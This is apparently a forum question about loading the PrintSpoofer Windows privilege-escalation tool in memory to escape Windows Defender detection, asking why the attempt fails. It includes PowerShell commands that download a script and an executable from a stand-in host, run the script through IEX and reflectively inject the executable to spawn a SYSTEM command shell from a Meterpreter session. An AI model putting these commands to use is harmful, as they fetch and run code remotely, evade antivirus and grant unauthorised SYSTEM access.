PrintSpoofer uses named pipe impersonation to elevate on Windows 10 to SYSTEM from a user with SeImpersonatePrivilege (Local Service, Network Service, Administrator etc.). The compiled version is detected by Windows Defender, therefore it would be nice to run it without touching the disk, e.g. in memory.
I've tried using Invoke-ReflectivePEInjection from an interactive Meterpreter shell (I opened a powershell channel).
(New-Object System.Net.WebClient).DownloadString('http://example.com/Invoke-ReflectivePEInjection.ps1') | IEX $bytes = (New-Object System.Net.WebClient).DownloadData('http://example.com/PrintSpoofer.exe') Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs "-i -c cmd"
The command completes without an error but nothing happens. I've made sure Invoke-ReflectivePEInjection works, I've tested it with other PE files.
I suspect that the problem stems from PrintSpoofer using
RpcClosePrinter which are non-standard API functions in RpcRT4.dll and NdrClientCall2.